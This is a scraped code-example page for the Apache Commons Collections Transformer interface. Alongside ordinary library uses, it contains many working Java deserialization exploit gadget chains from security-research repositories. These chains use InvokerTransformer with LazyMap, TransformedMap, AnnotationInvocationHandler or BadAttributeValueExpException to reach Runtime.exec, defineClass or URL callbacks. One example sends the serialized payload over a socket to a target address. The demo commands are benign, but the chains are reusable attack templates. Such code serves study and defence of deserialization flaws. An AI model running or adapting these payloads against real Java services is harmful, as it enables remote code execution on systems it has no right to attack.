org.apache.commons.collections.Transformer Java Examples

The following examples show how to use org.apache.commons.collections.Transformer. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: ChildrenDataSourceServlet.java    From commerce-cif-connector with Apache License 2.0 6 votes vote down vote up
private static Transformer createTransformer(final String itemRT, final Predicate predicate) {
    return new Transformer() {
        public Object transform(Object o) {
            Resource r = ((Resource) o);

            return new PredicatedResourceWrapper(r, predicate) {
                @Override
                public String getResourceType() {
                    if (itemRT == null) {
                        return super.getResourceType();
                    }
                    return itemRT;
                }
            };
        }
    };
}
 
Example #2
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 6 votes vote down vote up
private static void testStaticClassInitForDefineClass() throws Exception {
  Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(DefiningClassLoader.class),
      new InvokerTransformer("getConstructor", new Class[]{Class[].class},
          new Object[]{new Class[0]}),
      new InvokerTransformer("newInstance", new Class[]{Object[].class},
          new Object[]{new Object[0]}),
      new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
          new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime2",
              FileToByteArrayUtil.readCallbackRuntimeClassBytes(
                  "com/threedr3am/bug/collections/v3/no2/CallbackRuntime2.class")}),
      new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
  };
  Transformer transformer = new ChainedTransformer(transformers);
  Map inner = new HashMap();
  inner.put("value", "value");
  Map ouputMap = TransformedMap.decorate(inner, null, transformer);
  Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
      .getDeclaredConstructor(Class.class, Map.class);
  ctor.setAccessible(true);
  Object o = ctor.newInstance(Target.class, ouputMap);
  //序列化输出
  byte[] bytes = SerializeUtil.serialize(o);
  //反序列化
  SerializeUtil.deserialize(bytes);
}
 
Example #3
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main( String[] args ) throws Exception {
        //create命令链
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);

        //利用AnnotationInvocationHandler反序列化,直接触发Transformer
        testAnnotationInvocationHandlerMap(transformer);

        //测试TransformerMap在map的key、value改变中触发
//        testMap(transformer);


    }
 
Example #4
Source File: PxtSessionDelegateImplTest.java    From uyuni with GNU General Public License v2.0 6 votes vote down vote up
public final void testLoadPxtSessionWhenPxtSessionIdIsNotNull() {
    setUpLoadPxtSession();

    context().checking(new Expectations() { {
        allowing(mockRequest).getCookies();
        will(returnValue(new Cookie[] {getPxtCookie()}));
    } });

    pxtSessionDelegate.setFindPxtSessionByIdCallback(new Transformer() {
        public Object transform(Object arg) {
            if (PXT_SESSION_ID.equals(arg)) {
                return getPxtSession();
            }
            return null;
        }
    });

    pxtSessionDelegate.loadPxtSession(getRequest());
}
 
Example #5
Source File: ChainedTransformer.java    From Penetration_Testing_POC with Apache License 2.0 6 votes vote down vote up
/**
 * Create a new Transformer that calls each transformer in turn, passing the 
 * result into the next transformer. The ordering is that of the iterator()
 * method on the collection.
 * 
 * @param transformers  a collection of transformers to chain
 * @return the <code>chained</code> transformer
 * @throws IllegalArgumentException if the transformers collection is null
 * @throws IllegalArgumentException if any transformer in the collection is null
 */
public static Transformer getInstance(Collection transformers) {
    if (transformers == null) {
        throw new IllegalArgumentException("Transformer collection must not be null");
    }
    if (transformers.size() == 0) {
        return NOPTransformer.INSTANCE;
    }
    // convert to array like this to guarantee iterator() ordering
    Transformer[] cmds = new Transformer[transformers.size()];
    int i = 0;
    for (Iterator it = transformers.iterator(); it.hasNext();) {
        cmds[i++] = (Transformer) it.next();
    }
    FunctorUtils.validate(cmds);
    return new ChainedTransformer(cmds);
}
 
Example #6
Source File: InstantiateTransformer.java    From Penetration_Testing_POC with Apache License 2.0 6 votes vote down vote up
/**
 * Transformer method that performs validation.
 * 
 * @param paramTypes  the constructor parameter types
 * @param args  the constructor arguments
 * @return an instantiate transformer
 */
public static Transformer getInstance(Class[] paramTypes, Object[] args) {
    if (((paramTypes == null) && (args != null))
        || ((paramTypes != null) && (args == null))
        || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
        throw new IllegalArgumentException("Parameter types must match the arguments");
    }

    if (paramTypes == null || paramTypes.length == 0) {
        return NO_ARG_INSTANCE;
    } else {
        paramTypes = (Class[]) paramTypes.clone();
        args = (Object[]) args.clone();
    }
    return new InstantiateTransformer(paramTypes, args);
}
 
Example #7
Source File: InvokerTransformer.java    From Penetration_Testing_POC with Apache License 2.0 6 votes vote down vote up
/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
    if (methodName == null) {
        throw new IllegalArgumentException("The method to invoke must not be null");
    }
    if (((paramTypes == null) && (args != null))
        || ((paramTypes != null) && (args == null))
        || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
        throw new IllegalArgumentException("The parameter types must match the arguments");
    }
    if (paramTypes == null || paramTypes.length == 0) {
        return new InvokerTransformer(methodName);
    } else {
        paramTypes = (Class[]) paramTypes.clone();
        args = (Object[]) args.clone();
        return new InvokerTransformer(methodName, paramTypes, args);
    }
}
 
Example #8
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #9
Source File: FunctorUtils.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Copy method
 * 
 * @param transformers  the transformers to copy
 * @return a clone of the transformers
 */
static Transformer[] copy(Transformer[] transformers) {
    if (transformers == null) {
        return null;
    }
    return (Transformer[]) transformers.clone();
}
 
Example #10
Source File: IDVO.java    From ctsms with GNU Lesser General Public License v2.1 5 votes vote down vote up
public static void transformVoCollection(Collection<?> vos, VOTransformation transformation) {
	if (vos != null) {
		CollectionUtils.transform(vos, new Transformer() {

			@Override
			public Object transform(Object input) {
				return transformVo(input, transformation);
			}
		});
	}
}
 
Example #11
Source File: ExampleTransformersWithLazyMap.java    From JavaDeserH2HC with MIT License 5 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException {

    String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado

    Transformer[] transformers = new Transformer[] {
            // retorna Class Runtime.class
            new ConstantTransformer(Runtime.class),
            // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
            new InvokerTransformer(
                    "getMethod",                                    // invoca método getMethod
                    ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
                    ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
            ),
            // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
            new InvokerTransformer(
                    "invoke",                                      // invoca método: invoke
                    (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
                    (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
            ),
            // 3o. Objeto InvokerTransformer: .exec(cmd[])
            new InvokerTransformer(
                    "exec",                                       // invoca método: exec
                    new Class[] { String[].class },              // tipos dos parâmetros: (String[])
                    new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)

}
 
Example #12
Source File: exp.java    From Java-Unserialization-Study with MIT License 5 votes vote down vote up
public static void main(String[] args) throws Exception {

        String targetAddress = args[0];
        int targetPort = Integer.parseInt(args[1]);

        // Build Runtime payload
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        // Build a vulnerability map object
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        // Build an exception to trigger our payload when unserialize
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        // send payload to target!
        // or write to file
        // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        // oos.writeObject(payload);
        Socket socket=new Socket(targetAddress, targetPort);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
 
Example #13
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 5 votes vote down vote up
/**
 * 测试TransformerMap在包装的map中,key、value改变触发Transformer
 *
 */
private static void testMap(Transformer transformer) throws Exception{
    //转化map
    Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);
    //序列化输出
    byte[] bytes = SerializeUtil.serialize(ouputMap);
    //反序列化
    Map innerMap = SerializeUtil.deserialize(bytes);
    //put操作触发,命令链
    innerMap.put("2","orange");
}
 
Example #14
Source File: CommonsCollections5.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public BadAttributeValueExpException getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
		
		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
		valfield.setAccessible(true);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}
 
Example #15
Source File: LazyMap.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Constructor that wraps (not copies).
 * 
 * @param map  the map to decorate, must not be null
 * @param factory  the factory to use, must not be null
 * @throws IllegalArgumentException if map or factory is null
 */
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}
 
Example #16
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 5 votes vote down vote up
/**
 * 测试AnnotationInvocationHandler反序列化中,直接触发Transformer
 *
 */
private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{
    //转化map
    Map innerMap = new HashMap();
    innerMap.put("value","2");
    Map ouputMap = TransformedMap.decorate(innerMap,null,transformer);
    //jdk1.8该类的方法readObject()是使用了native方法安全更新map,无法再触发
    Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
    ctor.setAccessible(true);
    InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
    //序列化输出
    byte[] bytes = SerializeUtil.serialize(o);
    //反序列化
    SerializeUtil.deserialize(bytes);
}
 
Example #17
Source File: CommonsCollections1.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
 
Example #18
Source File: IDVO.java    From ctsms with GNU Lesser General Public License v2.1 5 votes vote down vote up
public static void transformVoCollection(Collection<?> vos) {
	if (vos != null) {
		CollectionUtils.transform(vos, new Transformer() {

			@Override
			public Object transform(Object input) {
				return transformVo(input);
			}
		});
	}
}
 
Example #19
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 5 votes vote down vote up
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception {
  Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(DefiningClassLoader.class),
      new InvokerTransformer("getConstructor", new Class[]{Class[].class},
          new Object[]{new Class[0]}),
      new InvokerTransformer("newInstance", new Class[]{Object[].class},
          new Object[]{new Object[0]}),
      new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
          new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime",
              FileToByteArrayUtil.readCallbackRuntimeClassBytes(
                  "com/threedr3am/bug/collections/v3/no2/CallbackRuntime.class")}),
      new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
      new InvokerTransformer("exec", new Class[]{String.class},
          new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
  };
  Transformer transformer = new ChainedTransformer(transformers);
  Map inner = new HashMap();
  inner.put("value", "value");
  Map ouputMap = TransformedMap.decorate(inner, null, transformer);
  Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
      .getDeclaredConstructor(Class.class, Map.class);
  ctor.setAccessible(true);
  Object o = ctor.newInstance(Target.class, ouputMap);
  //序列化输出
  byte[] bytes = SerializeUtil.serialize(o);
  //反序列化
  SerializeUtil.deserialize(bytes);
}
 
Example #20
Source File: ConstantTransformer.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Transformer method that performs validation.
 *
 * @param constantToReturn  the constant object to return each time in the factory
 * @return the <code>constant</code> factory.
 */
public static Transformer getInstance(Object constantToReturn) {
    if (constantToReturn == null) {
        return NULL_INSTANCE;
    }
    return new ConstantTransformer(constantToReturn);
}
 
Example #21
Source File: TransformedPredicate.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Factory to create the predicate.
 * 
 * @param transformer  the transformer to call
 * @param predicate  the predicate to call with the result of the transform
 * @return the predicate
 * @throws IllegalArgumentException if the transformer or the predicate is null
 */
public static Predicate getInstance(Transformer transformer, Predicate predicate) {
    if (transformer == null) {
        throw new IllegalArgumentException("The transformer to call must not be null");
    }
    if (predicate == null) {
        throw new IllegalArgumentException("The predicate to call must not be null");
    }
    return new TransformedPredicate(transformer, predicate);
}
 
Example #22
Source File: ObjectGraphIterator.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Constructs an ObjectGraphIterator using a root object and transformer.
 * <p>
 * The root object can be an iterator, in which case it will be immediately
 * looped around.
 * 
 * @param root  the root object, null will result in an empty iterator
 * @param transformer  the transformer to use, null will use a no effect transformer
 */
public ObjectGraphIterator(Object root, Transformer transformer) {
    super();
    if (root instanceof Iterator) {
        this.currentIterator = (Iterator) root;
    } else {
        this.root = root;
    }
    this.transformer = transformer;
}
 
Example #23
Source File: ChainedTransformer.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Factory method that performs validation and copies the parameter array.
 * 
 * @param transformers  the transformers to chain, copied, no nulls
 * @return the <code>chained</code> transformer
 * @throws IllegalArgumentException if the transformers array is null
 * @throws IllegalArgumentException if any transformer in the array is null
 */
public static Transformer getInstance(Transformer[] transformers) {
    FunctorUtils.validate(transformers);
    if (transformers.length == 0) {
        return NOPTransformer.INSTANCE;
    }
    transformers = FunctorUtils.copy(transformers);
    return new ChainedTransformer(transformers);
}
 
Example #24
Source File: NoShortcutSerializationWrapper.java    From ctsms with GNU Lesser General Public License v2.1 5 votes vote down vote up
public static <T> void  transformVoCollection(Collection<T> vos) {
	if (vos != null) {
		CollectionUtils.transform(vos, new Transformer() {

			@Override
			public Object transform(Object input) {
				return new NoShortcutSerializationWrapper((Serializable) input);
			}
		});
	}
}
 
Example #25
Source File: SwitchTransformer.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Factory method that performs validation and copies the parameter arrays.
 * 
 * @param predicates  array of predicates, cloned, no nulls
 * @param transformers  matching array of transformers, cloned, no nulls
 * @param defaultTransformer  the transformer to use if no match, null means nop
 * @return the <code>chained</code> transformer
 * @throws IllegalArgumentException if array is null
 * @throws IllegalArgumentException if any element in the array is null
 */
public static Transformer getInstance(Predicate[] predicates, Transformer[] transformers, Transformer defaultTransformer) {
    FunctorUtils.validate(predicates);
    FunctorUtils.validate(transformers);
    if (predicates.length != transformers.length) {
        throw new IllegalArgumentException("The predicate and transformer arrays must be the same size");
    }
    if (predicates.length == 0) {
        return (defaultTransformer == null ? ConstantTransformer.NULL_INSTANCE : defaultTransformer);
    }
    predicates = FunctorUtils.copy(predicates);
    transformers = FunctorUtils.copy(transformers);
    return new SwitchTransformer(predicates, transformers, defaultTransformer);
}
 
Example #26
Source File: FunctorUtils.java    From Penetration_Testing_POC with Apache License 2.0 5 votes vote down vote up
/**
 * Validate method
 * 
 * @param transformers  the transformers to validate
 */
static void validate(Transformer[] transformers) {
    if (transformers == null) {
        throw new IllegalArgumentException("The transformer array must not be null");
    }
    for (int i = 0; i < transformers.length; i++) {
        if (transformers[i] == null) {
            throw new IllegalArgumentException(
                "The transformer array must not contain a null transformer, index " + i + " was null");
        }
    }
}
 
Example #27
Source File: EditAction.java    From uyuni with GNU General Public License v2.0 4 votes vote down vote up
/**
 * This method acts as the default if the dispatch parameter is not in the map
 * It also represents the SetupAction
 * @param mapping ActionMapping
 * @param formIn ActionForm
 * @param request HttpServletRequest
 * @param response HttpServletResponse
 * @return ActionForward, the forward for the jsp
 */
public ActionForward unspecified(ActionMapping mapping,
                                 ActionForm formIn,
                                 HttpServletRequest request,
                                 HttpServletResponse response) {

    RequestContext requestContext = new RequestContext(request);
    Errata errata = requestContext.lookupErratum();

    DynaActionForm form = (DynaActionForm) formIn;

    String keywordDisplay = StringUtil.join(
        LocalizationService.getInstance().getMessage("list delimiter"),
        IteratorUtils.getIterator(CollectionUtils.collect(errata.getKeywords(),
            new Transformer() {
                public Object transform(Object o) {
                    return o.toString();
                }
            })));

    //pre-populate form with current values
    form.set("synopsis", errata.getSynopsis());
    form.set("advisoryName", errata.getAdvisoryName());
    form.set("advisoryRelease", errata.getAdvisoryRel().toString());
    form.set("advisoryType", errata.getAdvisoryType());
    form.set("advisoryTypeLabels", ErrataManager.advisoryTypeLabels());
    form.set("product", errata.getProduct());
    form.set("errataFrom", errata.getErrataFrom());
    form.set("topic", errata.getTopic());
    form.set("description", errata.getDescription());
    form.set("solution", errata.getSolution());
    form.set("refersTo", errata.getRefersTo());
    form.set("notes", errata.getNotes());
    form.set("keywords", keywordDisplay);
    form.set("advisorySeverityLabels", ErrataManager.advisorySeverityLabels());
    if (errata.getSeverity() != null) {
        form.set("advisorySeverity", errata.getSeverity().getRank());
    }
    else {
        form.set("advisorySeverity", Severity.UNSPECIFIED_RANK);
    }

    return setupPage(request, mapping, errata);
}
 
Example #28
Source File: SleepExample.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Cria array de Transformers que irá resultar na seguinte construção:
    //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Thread.class), // retorna class Thread.class
        // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
        new InvokerTransformer(
            "getMethod",                        // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
            ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
        ),
        // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
        new InvokerTransformer(
            "invoke",                           // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
        )
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #29
Source File: DnsWithCommonsCollections.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    String url = args[0];
    // Cria array de transformers que resulta na seguinte construção:
    // new URL(url).openConnection().getInputStream().read();
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(new URL(url)),
            new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
            new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
            new InvokerTransformer("read", new Class[] {}, new Object[] {})
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //criado a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #30
Source File: PxtSessionDelegateImplTest.java    From uyuni with GNU General Public License v2.0 4 votes vote down vote up
public void setFindPxtSessionByIdCallback(Transformer callback) {
    findPxtSessionByIdCallback = callback;
}